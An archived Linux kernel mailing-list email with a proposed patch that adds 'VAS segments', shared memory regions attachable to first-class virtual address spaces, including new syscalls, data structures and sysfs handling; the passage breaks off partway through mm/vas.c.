	linux-media@vger.kernel.org,
	linux-mtd@lists.infradead.org,
	linux-usb@vger.kernel.org,
	linux-fsdevel@vger.kernel.org,
	linux-aio@kvack.org,
	linux-mm@kvack.org,
	linux-api@vger.kernel.org,
	linux-arch@vger.kernel.org,
	alsa-devel@alsa-project.org
To: Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	Vineet Gupta <vgupta@synopsys.com>,
	Russell King <linux@armlinux.org.uk>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Will Deacon <will.deacon@arm.com>,
	Steven Miao <realmz6@gmail.com>,
	Richard Kuo <rkuo@codeaurora.org>,
	Tony Luck <tony.luck@intel.com>,
	Fenghua Yu <fenghua.yu@intel.com>,
	James Hogan <james.hogan@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Paul Mackerras <paulus@samba.org>,
	Michael Ellerman <mpe@ellerman.id.au>,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Rich Felker <dalias@libc.org>,
	"David S. Miller" <davem@dave
Original-X-From: owner-linux-aio@kvack.org Mon Mar 13 23:15:18 2017
Return-path: <owner-linux-aio@kvack.org>
Envelope-to: gla-linux-aio@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <owner-linux-aio@kvack.org>)
	id 1cnYFH-0000zs-2F
	for gla-linux-aio@m.gmane.org; Mon, 13 Mar 2017 23:15:15 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id 0950A6B03AA; Mon, 13 Mar 2017 18:15:11 -0400 (EDT)
Delivered-To: linux-aio-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id E9C6C6B03AC; Mon, 13 Mar 2017 18:15:10 -0400 (EDT)
X-Original-To: int-list-linux-aio@kvack.org
X-Delivered-To: int-list-linux-aio@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id C9D706B03AB; Mon, 13 Mar 2017 18:15:10 -0400 (EDT)
X-Original-To: linux-aio@kvack.org
X-Delivered-To: linux-aio@kvack.org
Original-Received: from mail-wr0-f200.google.com (mail-wr0-f200.google.com [209.85.128.200])
	by kanga.kvack.org (Postfix) with ESMTP id 3818B6B03A9
	for <linux-aio@kvack.org>; Mon, 13 Mar 2017 18:15:10 -0400 (EDT)
Original-Received: by mail-wr0-f200.google.com with SMTP id w37so48346326wrc.2
        for <linux-aio@kvack.org>; Mon, 13 Mar 2017 15:15:10 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:dkim-signature:from:to:cc:subject:date
         :message-id:in-reply-to:references;
        bh=ROgdkDGJaIgC3xh1g6vVEJjWI4ScaEg+py5753eenro=;
        b=Fb87Hf0BiqpNECLoHQLskFtg0UlIvz1oQLZf3uUCqjZXhqWMugj/yohfOZG1UH2PHC
         k6f9l0q+3oTe04b7NPrxyzTtX6Pt7k9U8DYOuXceabtEnyBTJBFkcefkcO6RiR+AGyn+
         KqYqVsdf2s1OCSwsVAdSYAoJsz4iFyhqRxc9mp/YnLbnpNNjGOrgKlTV5rhWoo3Dz/wZ
         op+WtYgrK7k+vxAkq7JUK0fND3Ly5fG2eJpe7Cz5K+m5VYnxY5ejsH4KNlTyRycrlT8r
         a5FjsHobq98kS0Y5IpCbjYRUOOVGcXe6BgT8DBwoiQm6BcGw9oO98T1C1sM/CTlbh4wz
         Sg6w==
X-Gm-Message-State: AFeK/H02SPW66kbbisHTtbrI2ysc7iVqlN5fRei/Qb59/ani1dZetwQcdJHzLEZNf+Mxd+ORWF6Ycjavp/K31sjBbrHnTJ6E+DKeYBsUjVOseMgBZi5OarqokQeMlhjSo0A7fiyN29whvF3ipuHQC2LVxrXVmE6eoONdtqEYu8PyBA+yJf1WxYFr9ErUwyOTa5/+bYCqPuCojMC6ccFuCu2tGzmxLmYhcYC3SXFtx1t7fsUqiSb1WYbrf9EwH6fKNZk8zd1qBxtyDkywH8fcQzpqurenIFkdSli+s3m+LVjCjQDY0eY4NvQ=
X-Received: by 10.28.59.8 with SMTP id i8mr11980318wma.27.1489443309694;
        Mon, 13 Mar 2017 15:15:09 -0700 (PDT)
X-Received: by 10.28.59.8 with SMTP id i8mr11980200wma.27.1489443306834;
        Mon, 13 Mar 2017 15:15:06 -0700 (PDT)
Original-Received: from mail-wr0-x244.google.com (mail-wr0-x244.google.com. [2a00:1450:400c:c0c::244])
        by mx.google.com with ESMTPS id c133si12550956wme.67.2017.03.13.15.15.06
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Mon, 13 Mar 2017 15:15:06 -0700 (PDT)
Received-SPF: pass (google.com: domain of till.smejkal@googlemail.com designates 2a00:1450:400c:c0c::244 as permitted sender) client-ip=2a00:1450:400c:c0c::244;
Authentication-Results: mx.google.com;
       dkim=pass header.i=@googlemail.com;
       spf=pass (google.com: domain of till.smejkal@googlemail.com designates 2a00:1450:400c:c0c::244 as permitted sender) smtp.mailfrom=till.smejkal@googlemail.com;
       dmarc=pass (p=QUARANTINE sp=QUARANTINE dis=NONE) header.from=googlemail.com
Original-Received: by mail-wr0-x244.google.com with SMTP id g10so21792433wrg.0;
        Mon, 13 Mar 2017 15:15:06 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlemail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=ROgdkDGJaIgC3xh1g6vVEJjWI4ScaEg+py5753eenro=;
        b=YsUDWVSZuqHIqQ3dMJCd3xa06HvZ18zFGx8dc40VEtZPNKsxkF0b19j/qaTPDAv6fn
         xCrYB2pKvGD1N3BjWQopbWawB3g37aK9D6rSe4o8gk6yas/Nh6SRux2mclvyuvDRUpe8
         0OaO5bYHiKBt47a/fru8foNS9QQqQdypnwFW0MtcJwUhElnxcWWosrqJJLJYcKkRnmif
         NijR34vEOCK7fMOrDr85FBSJoJCin6Jhux3E/uC/xFfSDQ1+/hXeF2dQYlDnjTQ6sORM
         uBaQ7ADQZAz/HOXyLT1yGmGyN8t5nu8LLo3nMH3TRIajJJMKPYKCjLLfliR5WsXXDT2N
         3akg==
X-Received: by 10.223.172.135 with SMTP id o7mr27843707wrc.121.1489443305001;
        Mon, 13 Mar 2017 15:15:05 -0700 (PDT)
Original-Received: from localhost (login1.zih.tu-dresden.de. [141.76.16.140])
        by smtp.googlemail.com with ESMTPSA id 73sm12909199wml.19.2017.03.13.15.15.03
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Mon, 13 Mar 2017 15:15:04 -0700 (PDT)
X-Google-Original-From: Till Smejkal <till.smejkal@gmail.com>
X-Mailer: git-send-email 2.12.0
In-Reply-To: <20170313221415.9375-1-till.smejkal@gmail.com>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-aio@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-aio.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.aio.general:4945 gmane.linux.kernel:2431241 gmane.linux.ports.alpha:4131 gmane.linux.kernel.arc:2220 gmane.linux.ports.arm.kernel:564755 gmane.linux.ports.hexagon:1156 gmane.linux.ports.ia64:27695 gmane.linux.kernel.metag:1265 gmane.linux.ports.mips.general:58341 gmane.linux.ports.parisc:27323 gmane.linux.ports.ppc64.devel:139534 gmane.linux.ports.sh.devel:55129 gmane.linux.ports.sparc:24726 gmane.linux.drivers.video-input-infrastructure:114749 gmane.linux.drivers.mtd:72540 gmane.linux.usb.general:156116 gmane.linux.file-systems:119086 gmane.linux.kernel.mm:168268 gmane.linux.kernel.api:22527 gmane.linux.kernel.cross-arch:35535 gmane.linux.alsa.devel:165313
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.aio.general/4945>

VAS segments are an extension to first class virtual address spaces that
can be used to share specific memory regions between multiple first class
virtual address spaces. VAS segments have a specific size and position in a
virtual address space and can thereby be used to share in-memory pointer
based data structures between multiple address spaces as well as other
in-memory data without the need to represent them in mmap-able files or
use shmem.

Similar to first class virtual address spaces, VAS segments must be created
and destroyed explicitly by a user. The system will never automatically
destroy or create a virtual segment. Via attaching a VAS segment to a first
class virtual address space, the memory that is contained in the VAS
segment can be accessed and changed.

Signed-off-by: Till Smejkal <till.smejkal@gmail.com>
Signed-off-by: Marco Benatto <marco.antonio.780@gmail.com>
---
 arch/x86/entry/syscalls/syscall_32.tbl |    7 +
 arch/x86/entry/syscalls/syscall_64.tbl |    7 +
 include/linux/syscalls.h               |   10 +
 include/linux/vas.h                    |  114 +++
 include/linux/vas_types.h              |   91 ++-
 include/uapi/asm-generic/unistd.h      |   16 +-
 include/uapi/linux/vas.h               |   12 +
 kernel/sys_ni.c                        |    7 +
 mm/vas.c                               | 1234 ++++++++++++++++++++++++++++++--
 9 files changed, 1451 insertions(+), 47 deletions(-)

diff --git a/arch/x86/entry/syscalls/syscall_32.tbl b/arch/x86/entry/syscalls/syscall_32.tbl
index 8c553eef8c44..a4f91d14a856 100644
--- a/arch/x86/entry/syscalls/syscall_32.tbl
+++ b/arch/x86/entry/syscalls/syscall_32.tbl
@@ -398,3 +398,10 @@
 389	i386	active_vas		sys_active_vas
 390	i386	vas_getattr		sys_vas_getattr
 391	i386	vas_setattr		sys_vas_setattr
+392	i386	vas_seg_create		sys_vas_seg_create
+393	i386	vas_seg_delete		sys_vas_seg_delete
+394	i386	vas_seg_find		sys_vas_seg_find
+395	i386	vas_seg_attach		sys_vas_seg_attach
+396	i386	vas_seg_detach		sys_vas_seg_detach
+397	i386	vas_seg_getattr		sys_vas_seg_getattr
+398	i386	vas_seg_setattr		sys_vas_seg_setattr
diff --git a/arch/x86/entry/syscalls/syscall_64.tbl b/arch/x86/entry/syscalls/syscall_64.tbl
index 72f1f0495710..a0f9503c3d28 100644
--- a/arch/x86/entry/syscalls/syscall_64.tbl
+++ b/arch/x86/entry/syscalls/syscall_64.tbl
@@ -347,6 +347,13 @@
 338	common	active_vas		sys_active_vas
 339	common	vas_getattr		sys_vas_getattr
 340	common	vas_setattr		sys_vas_setattr
+341	common	vas_seg_create		sys_vas_seg_create
+342	common	vas_seg_delete		sys_vas_seg_delete
+343	common	vas_seg_find		sys_vas_seg_find
+344	common	vas_seg_attach		sys_vas_seg_attach
+345	common	vas_seg_detach		sys_vas_seg_detach
+346	common	vas_seg_getattr		sys_vas_seg_getattr
+347	common	vas_seg_setattr		sys_vas_seg_setattr
 
 #
 # x32-specific system call numbers start at 512 to avoid cache impact
diff --git a/include/linux/syscalls.h b/include/linux/syscalls.h
index fdea27d37c96..7380dcdc4bc1 100644
--- a/include/linux/syscalls.h
+++ b/include/linux/syscalls.h
@@ -66,6 +66,7 @@ struct perf_event_attr;
 struct file_handle;
 struct sigaltstack;
 struct vas_attr;
+struct vas_seg_attr;
 union bpf_attr;
 
 #include <linux/types.h>
@@ -914,4 +915,13 @@ asmlinkage long sys_active_vas(void);
 asmlinkage long sys_vas_getattr(int vid, struct vas_attr __user *attr);
 asmlinkage long sys_vas_setattr(int vid, struct vas_attr __user *attr);
 
+asmlinkage long sys_vas_seg_create(const char __user *name, unsigned long start,
+				   unsigned long end, umode_t mode);
+asmlinkage long sys_vas_seg_delete(int sid);
+asmlinkage long sys_vas_seg_find(const char __user *name);
+asmlinkage long sys_vas_seg_attach(int vid, int sid, int type);
+asmlinkage long sys_vas_seg_detach(int vid, int sid);
+asmlinkage long sys_vas_seg_getattr(int sid, struct vas_seg_attr __user *attr);
+asmlinkage long sys_vas_seg_setattr(int sid, struct vas_seg_attr __user *attr);
+
 #endif
diff --git a/include/linux/vas.h b/include/linux/vas.h
index 6a72e42f96d2..376b9fa1ee27 100644
--- a/include/linux/vas.h
+++ b/include/linux/vas.h
@@ -138,6 +138,120 @@ extern int vas_setattr(int vid, struct vas_attr *attr);
 
 
 /***
+ * Management of VAS segments
+ ***/
+
+/**
+ * Lock and unlock helper for VAS segments.
+ **/
+#define vas_seg_lock(seg) mutex_lock(&(seg)->mtx)
+#define vas_seg_unlock(seg) mutex_unlock(&(seg)->mtx)
+
+/**
+ * Create a new VAS segment.
+ *
+ * @param[in] name:		The name of the new VAS segment.
+ * @param[in] start:		The address where the VAS segment begins.
+ * @param[in] end:		The address where the VAS segment ends.
+ * @param[in] mode:		The access rights for the VAS segment.
+ *
+ * @returns:			The VAS segment ID on success, -ERRNO otherwise.
+ **/
+extern int vas_seg_create(const char *name, unsigned long start,
+			  unsigned long end, umode_t mode);
+
+/**
+ * Get a pointer to a VAS segment data structure.
+ *
+ * @param[in] sid:		The ID of the VAS segment whose data structure
+ *				should be returned.
+ *
+ * @returns:			The pointer to the VAS segment data structure
+ *				on success, or NULL otherwise.
+ **/
+extern struct vas_seg *vas_seg_get(int sid);
+
+/**
+ * Return a pointer to a VAS segment data structure again.
+ *
+ * @param[in] seg:		The pointer to the VAS segment data structure
+ *				that should be returned.
+ **/
+extern void vas_seg_put(struct vas_seg *seg);
+
+/**
+ * Get ID of the VAS segment belonging to a given name.
+ *
+ * @param[in] name:		The name of the VAS segment for which the ID
+ *				should be returned.
+ *
+ * @returns:			The VAS segment ID on success, -ERRNO
+ *				otherwise.
+ **/
+extern int vas_seg_find(const char *name);
+
+/**
+ * Delete the given VAS segment again.
+ *
+ * @param[in] id:		The ID of the VAS segment which should be
+ *				deleted.
+ *
+ * @returns:			0 on success, -ERRNO otherwise.
+ **/
+extern int vas_seg_delete(int id);
+
+/**
+ * Attach a VAS segment to a VAS.
+ *
+ * @param[in] vid:		The ID of the VAS to which the VAS segment
+ *				should be attached.
+ * @param[in] sid:		The ID of the VAS segment which should be
+ *				attached.
+ * @param[in] type:		The type how the VAS segment should be
+ *				attached.
+ *
+ * @returns:			0 on success, -ERRNO otherwise.
+ **/
+extern int vas_seg_attach(int vid, int sid, int type);
+
+/**
+ * Detach a VAS segment from a VAS.
+ *
+ * @param[in] vid:		The ID of the VAS from which the VAS segment
+ *				should be detached.
+ * @param[in] sid:		The ID of the VAS segment which should be
+ *				detached.
+ *
+ * @returns:			0 on success, -ERRNO otherwise.
+ **/
+extern int vas_seg_detach(int vid, int sid);
+
+/**
+ * Get attributes of a VAS segment.
+ *
+ * @param[in] sid:		The ID of the VAS segment for which the
+ *				attributes should be returned.
+ * @param[out] attr:		The pointer to the struct where the attributes
+ *				should be saved.
+ *
+ * @returns:			0 on success, -ERRNO otherwise.
+ **/
+extern int vas_seg_getattr(int sid, struct vas_seg_attr *attr);
+
+/**
+ * Set attributes of a VAS segment.
+ *
+ * @param[in] sid:		The ID of the VAS segment for which the
+ *				attributes should be updated.
+ * @param[in] attr:		The pointer to the struct containing the new
+ *				attributes.
+ *
+ * @returns:			0 on success, -ERRNO otherwise.
+ **/
+extern int vas_seg_setattr(int sid, struct vas_seg_attr *attr);
+
+
+/***
  * Management of the VAS subsystem
  ***/
 
diff --git a/include/linux/vas_types.h b/include/linux/vas_types.h
index f06bfa9ef729..a5291a18ea07 100644
--- a/include/linux/vas_types.h
+++ b/include/linux/vas_types.h
@@ -24,8 +24,8 @@ struct task_struct;
  * The struct representing a Virtual Address Space (VAS).
  *
  * This data structure contains all the necessary information of a VAS such as
- * its name, ID. It also contains access rights and other management
- * information.
+ * its name, ID, as well as the list of all the VAS segments which are attached
+ * to it. It also contains access rights and other management information.
  **/
 struct vas {
 	struct kobject kobj;		/* < the internal kobject that we use *
@@ -38,7 +38,8 @@ struct vas {
 	struct mutex mtx;		/* < lock for parallel access.        */
 
 	struct mm_struct *mm;		/* < a partial memory map containing  *
-					 *   all mappings of this VAS.        */
+					 *   all mappings of this VAS and all *
+					 *   of its attached VAS segments.    */
 
 	struct list_head link;		/* < the link in the global VAS list. */
 	struct rcu_head rcu;		/* < the RCU helper used for          *
@@ -54,6 +55,11 @@ struct vas {
 					 *   of the current sharing state of  *
 					 *   the VAS.                         */
 
+	struct list_head segments;	/* < the list of attached VAS         *
+					 *   segments.                        */
+	u32 nr_segments;		/* < the number of VAS segments       *
+					 *   attached to this VAS.            */
+
 	umode_t mode;			/* < the access rights to this VAS.   */
 	kuid_t uid;			/* < the UID of the owning user of    *
 					 *   this VAS.                        */
@@ -85,4 +91,83 @@ struct att_vas {
 	int type;			/* < the type of attaching (RO/RW).   */
 };
 
+/**
+ * The struct representing a VAS segment.
+ *
+ * A VAS segment is a region in memory. Accordingly, it is very similar to a
+ * vm_area. However, instead of a vm_area it can only represent a memory region
+ * and not a file and also knows where it is mapped. In addition VAS segments
+ * also have an ID, a name, access rights and a lock managing the way it can be
+ * shared between multiple VAS.
+ **/
+struct vas_seg {
+	struct kobject kobj;		/* < the internal kobject that we use *
+					 *   for reference counting and sysfs *
+					 *   handling.                        */
+
+	int id;				/* < ID                               */
+	char name[VAS_MAX_NAME_LENGTH];	/* < name                             */
+
+	struct mutex mtx;		/* < lock for parallel access.        */
+
+	unsigned long start;		/* < the virtual address where the    *
+					 *   VAS segment starts.              */
+	unsigned long end;		/* < the virtual address where the    *
+					 *   VAS segment ends.                */
+	unsigned long length;		/* < the size of the VAS segment in   *
+					 *   bytes.                           */
+
+	struct mm_struct *mm;		/* < a partial memory map containing  *
+					 *   all the mappings for this VAS    *
+					 *   segment.                         */
+
+	struct list_head link;		/* < the link in the global VAS       *
+					 *   segment list.                    */
+	struct rcu_head rcu;		/* < the RCU helper used for          *
+					 *   asynchronous VAS segment         *
+					 *   deletion.                        */
+
+	u16 refcount;			/* < how often is the VAS segment     *
+					 *   attached.                        */
+	struct list_head attaches;	/* < the list of VASes which have     *
+					 *   this VAS segment attached.       */
+
+	spinlock_t share_lock;		/* < lock for protecting sharing      *
+					 *   state.                           */
+	u32 sharing;			/* < the variable used to keep track  *
+					 *   of the current sharing state of  *
+					 *   the VAS segment.                 */
+
+	umode_t mode;			/* < the access rights to this VAS    *
+					 *   segment.                         */
+	kuid_t uid;			/* < the UID of the owning user of    *
+					 *   this VAS segment.                */
+	kgid_t gid;			/* < the GID of the owning group of   *
+					 *   this VAS segment.                */
+};
+
+/**
+ * The struct representing a VAS segment being attached to a VAS.
+ *
+ * Since a VAS segment can be attached to a multiple VAS this data structure is
+ * necessary. It forms the connection between the VAS and the VAS segment
+ * itself.
+ **/
+struct att_vas_seg {
+	struct vas_seg *seg;            /* < the reference to the actual VAS  *
+					 *   segment containing all the       *
+					 *   information.                     */
+
+	struct vas *vas;		/* < the reference to the VAS to      *
+					 *   which the VAS segment is         *
+					 *   attached to.                     */
+
+	struct list_head vas_link;	/* < the link in the list managed     *
+					 *   inside the VAS.                  */
+	struct list_head seg_link;	/* < the link in the list managed     *
+					 *   inside the VAS segment.          */
+
+	int type;			/* < the type of attaching (RO/RW).   */
+};
+
 #endif
diff --git a/include/uapi/asm-generic/unistd.h b/include/uapi/asm-generic/unistd.h
index 35df7d40a443..4014b4bd2f18 100644
--- a/include/uapi/asm-generic/unistd.h
+++ b/include/uapi/asm-generic/unistd.h
@@ -748,9 +748,23 @@ __SYSCALL(__NR_active_vas, sys_active_vas)
 __SYSCALL(__NR_vas_getattr, sys_vas_getattr)
 #define __NR_vas_setattr 299
 __SYSCALL(__NR_vas_setattr, sys_vas_setattr)
+#define __NR_vas_seg_create 300
+__SYSCALL(__NR_vas_seg_create, sys_vas_seg_create)
+#define __NR_vas_seg_delete 301
+__SYSCALL(__NR_vas_seg_delete, sys_vas_seg_delete)
+#define __NR_vas_seg_find 302
+__SYSCALL(__NR_vas_seg_find, sys_vas_seg_find)
+#define __NR_vas_seg_attach 303
+__SYSCALL(__NR_vas_seg_attach, sys_vas_seg_attach)
+#define __NR_vas_seg_detach 304
+__SYSCALL(__NR_vas_seg_detach, sys_vas_seg_detach)
+#define __NR_vas_seg_getattr 305
+__SYSCALL(__NR_vas_seg_getattr, sys_vas_seg_getattr)
+#define __NR_vas_seg_setattr 306
+__SYSCALL(__NR_vas_seg_setattr, sys_vas_seg_setattr)
 
 #undef __NR_syscalls
-#define __NR_syscalls 300
+#define __NR_syscalls 307
 
 /*
  * All syscalls below here should go away really,
diff --git a/include/uapi/linux/vas.h b/include/uapi/linux/vas.h
index 02f70f88bdcb..a8858b013a44 100644
--- a/include/uapi/linux/vas.h
+++ b/include/uapi/linux/vas.h
@@ -13,4 +13,16 @@ struct vas_attr {
 	__kernel_gid_t group;		/* < the owning group of the VAS.     */
 };
 
+/**
+ * The struct containing attributes of a VAS segment.
+ **/
+struct vas_seg_attr {
+	__kernel_mode_t mode;		/* < the access rights to the VAS     *
+					 *   segment.                         */
+	__kernel_uid_t user;		/* < the owning user of the VAS       *
+					 *   segment.                         */
+	__kernel_gid_t group;		/* < the owning group of the VAS      *
+					 *   segment.                         */
+};
+
 #endif
diff --git a/kernel/sys_ni.c b/kernel/sys_ni.c
index f6f83c5ec1a1..659fe96afcfa 100644
--- a/kernel/sys_ni.c
+++ b/kernel/sys_ni.c
@@ -269,3 +269,10 @@ cond_syscall(sys_vas_switch);
 cond_syscall(sys_active_vas);
 cond_syscall(sys_vas_getattr);
 cond_syscall(sys_vas_setattr);
+cond_syscall(sys_segment_create);
+cond_syscall(sys_segment_delete);
+cond_syscall(sys_segment_find);
+cond_syscall(sys_segment_attach);
+cond_syscall(sys_segment_detach);
+cond_syscall(sys_segment_getattr);
+cond_syscall(sys_segment_setattr);
diff --git a/mm/vas.c b/mm/vas.c
index 447d61e1da79..345b023c21aa 100644
--- a/mm/vas.c
+++ b/mm/vas.c
@@ -61,7 +61,7 @@
 #define VAS_MAX_ID INT_MAX
 
 /**
- * Masks and bits to implement sharing of VAS.
+ * Masks and bits to implement sharing of VAS and VAS segments.
  **/
 #define VAS_SHARE_READABLE (1 << 0)
 #define VAS_SHARE_WRITABLE (1 << 16)
@@ -194,6 +194,8 @@ static void __dump_memory_map(const char *title, struct mm_struct *mm)
 static struct kmem_cache *vas_cachep;
 static struct kmem_cache *att_vas_cachep;
 static struct kmem_cache *vas_context_cachep;
+static struct kmem_cache *seg_cachep;
+static struct kmem_cache *att_seg_cachep;
 
 /**
  * Global management data structures and their associated locks.
@@ -201,16 +203,21 @@ static struct kmem_cache *vas_context_cachep;
 static struct idr vases;
 static spinlock_t vases_lock;
 
+static struct idr vas_segs;
+static spinlock_t vas_segs_lock;
+
 /**
  * The place holder variables that are used to identify to-be-deleted items in
  * our global management data structures.
  **/
 static struct vas *INVALID_VAS;
+static struct vas_seg *INVALID_VAS_SEG;
 
 /**
  * Kernel 'ksets' where all objects will be managed.
  **/
 static struct kset *vases_kset;
+static struct kset *vas_segs_kset;
 
 
 /***
@@ -273,6 +280,40 @@ static inline void __delete_vas_context(struct vas_context *ctx)
 	kmem_cache_free(vas_context_cachep, ctx);
 }
 
+static inline struct vas_seg *__new_vas_seg(void)
+{
+	return kmem_cache_zalloc(seg_cachep, GFP_KERNEL);
+}
+
+static inline void __delete_vas_seg(struct vas_seg *seg)
+{
+	WARN_ON(seg->refcount != 0);
+
+	mutex_destroy(&seg->mtx);
+
+	if (seg->mm)
+		mmput_async(seg->mm);
+	kmem_cache_free(seg_cachep, seg);
+}
+
+static inline void __delete_vas_seg_rcu(struct rcu_head *rp)
+{
+	struct vas_seg *seg = container_of(rp, struct vas_seg, rcu);
+
+	__delete_vas_seg(seg);
+}
+
+static inline struct att_vas_seg *__new_att_vas_seg(void)
+{
+	return kmem_cache_zalloc(att_seg_cachep, GFP_ATOMIC);
+}
+
+static inline void __delete_att_vas_seg(struct att_vas_seg *aseg)
+{
+	kmem_cache_free(att_seg_cachep, aseg);
+}
+
+
 /***
  * Kobject management of data structures
  ***/
@@ -418,6 +459,161 @@ static struct kobj_type vas_ktype = {
 	.default_attrs = vas_default_attr,
 };
 
+/**
+ * Correctly get and put VAS segments.
+ **/
+static inline struct vas_seg *__vas_seg_get(struct vas_seg *seg)
+{
+	return container_of(kobject_get(&seg->kobj), struct vas_seg, kobj);
+}
+
+static inline void __vas_seg_put(struct vas_seg *seg)
+{
+	kobject_put(&seg->kobj);
+}
+
+/**
+ * The sysfs structure we need to handle attributes of a VAS segment.
+ **/
+struct vas_seg_sysfs_attr {
+	struct attribute attr;
+	ssize_t (*show)(struct vas_seg *seg, struct vas_seg_sysfs_attr *ssattr,
+			char *buf);
+	ssize_t (*store)(struct vas_seg *seg, struct vas_seg_sysfs_attr *ssattr,
+			 const char *buf, ssize_t count);
+};
+
+#define VAS_SEG_SYSFS_ATTR(NAME, MODE, SHOW, STORE)			\
+static struct vas_seg_sysfs_attr vas_seg_sysfs_attr_##NAME =		\
+	__ATTR(NAME, MODE, SHOW, STORE)
+
+/**
+ * Functions for all the sysfs operations for VAS segments.
+ **/
+static ssize_t __vas_seg_sysfs_attr_show(struct kobject *kobj,
+					 struct attribute *attr,
+					 char *buf)
+{
+	struct vas_seg *seg;
+	struct vas_seg_sysfs_attr *ssattr;
+
+	seg = container_of(kobj, struct vas_seg, kobj);
+	ssattr = container_of(attr, struct vas_seg_sysfs_attr, attr);
+
+	if (!ssattr->show)
+		return -EIO;
+
+	return ssattr->show(seg, ssattr, buf);
+}
+
+static ssize_t __vas_seg_sysfs_attr_store(struct kobject *kobj,
+					  struct attribute *attr,
+					  const char *buf, size_t count)
+{
+	struct vas_seg *seg;
+	struct vas_seg_sysfs_attr *ssattr;
+
+	seg = container_of(kobj, struct vas_seg, kobj);
+	ssattr = container_of(attr, struct vas_seg_sysfs_attr, attr);
+
+	if (!ssattr->store)
+		return -EIO;
+
+	return ssattr->store(seg, ssattr, buf, count);
+}
+
+/**
+ * The sysfs operations structure for a VAS segment.
+ **/
+static const struct sysfs_ops vas_seg_sysfs_ops = {
+	.show = __vas_seg_sysfs_attr_show,
+	.store = __vas_seg_sysfs_attr_store,
+};
+
+/**
+ * Default attributes of a VAS segment.
+ **/
+static ssize_t __show_vas_seg_name(struct vas_seg *seg,
+				   struct vas_seg_sysfs_attr *ssattr,
+				   char *buf)
+{
+	return scnprintf(buf, PAGE_SIZE, "%s", seg->name);
+}
+VAS_SEG_SYSFS_ATTR(name, 0444, __show_vas_seg_name, NULL);
+
+static ssize_t __show_vas_seg_mode(struct vas_seg *seg,
+				   struct vas_seg_sysfs_attr *ssattr,
+				   char *buf)
+{
+	return scnprintf(buf, PAGE_SIZE, "%#03o", seg->mode);
+}
+VAS_SEG_SYSFS_ATTR(mode, 0444, __show_vas_seg_mode, NULL);
+
+static ssize_t __show_vas_seg_user(struct vas_seg *seg,
+				   struct vas_seg_sysfs_attr *ssattr,
+				   char *buf)
+{
+	struct user_namespace *ns = current_user_ns();
+
+	return scnprintf(buf, PAGE_SIZE, "%d", from_kuid(ns, seg->uid));
+}
+VAS_SEG_SYSFS_ATTR(user, 0444, __show_vas_seg_user, NULL);
+
+static ssize_t __show_vas_seg_group(struct vas_seg *seg,
+				    struct vas_seg_sysfs_attr *ssattr,
+				    char *buf)
+{
+	struct user_namespace *ns = current_user_ns();
+
+	return scnprintf(buf, PAGE_SIZE, "%d", from_kgid(ns, seg->gid));
+}
+VAS_SEG_SYSFS_ATTR(group, 0444, __show_vas_seg_group, NULL);
+
+static ssize_t __show_vas_seg_region(struct vas_seg *seg,
+				     struct vas_seg_sysfs_attr *ssattr,
+				     char *buf)
+{
+	return scnprintf(buf, PAGE_SIZE, "%lx-%lx", seg->start, seg->end);
+}
+VAS_SEG_SYSFS_ATTR(region, 0444, __show_vas_seg_region, NULL);
+
+static struct attribute *vas_seg_default_attr[] = {
+	&vas_seg_sysfs_attr_name.attr,
+	&vas_seg_sysfs_attr_mode.attr,
+	&vas_seg_sysfs_attr_user.attr,
+	&vas_seg_sysfs_attr_group.attr,
+	&vas_seg_sysfs_attr_region.attr,
+	NULL
+};
+
+/**
+ * Function to release the VAS segment after its kobject is gone.
+ **/
+static void __vas_seg_release(struct kobject *kobj)
+{
+	struct vas_seg *seg = container_of(kobj, struct vas_seg, kobj);
+
+	/* Give up the ID in the IDR that was occupied by this VAS segment. */
+	spin_lock(&vas_segs_lock);
+	idr_remove(&vas_segs, seg->id);
+	spin_unlock(&vas_segs_lock);
+
+	/*
+	 * Wait a full RCU grace period before actually deleting the VAS segment
+	 * data structure since we haven't done it earlier.
+	 */
+	call_rcu(&seg->rcu, __delete_vas_seg_rcu);
+}
+
+/**
+ * The ktype data structure representing a VAS segment.
+ **/
+static struct kobj_type vas_seg_ktype = {
+	.sysfs_ops = &vas_seg_sysfs_ops,
+	.release = __vas_seg_release,
+	.default_attrs = vas_seg_default_attr,
+};
+
 
 /***
  * Internally visible functions
@@ -526,8 +722,99 @@ static inline struct vas *vas_lookup_by_name(const char *name)
 	return vas;
 }
 
+/**
+ * Working with the global VAS segments list.
+ **/
+static inline void vas_seg_remove(struct vas_seg *seg)
+{
+	spin_lock(&vas_segs_lock);
+
+	/*
+	 * We only put a to-be-deleted place holder in the IDR at this point.
+	 * See @vas_remove for more details.
+	 */
+	idr_replace(&vas_segs, INVALID_VAS_SEG, seg->id);
+	spin_unlock(&vas_segs_lock);
+
+	/* No need to wait for grace period. See @vas_remove why. */
+	__vas_seg_put(seg);
+}
+
+static inline int vas_seg_insert(struct vas_seg *seg)
+{
+	int ret;
+
+	/* Add the VAS segment in the IDR cache. */
+	spin_lock(&vas_segs_lock);
+
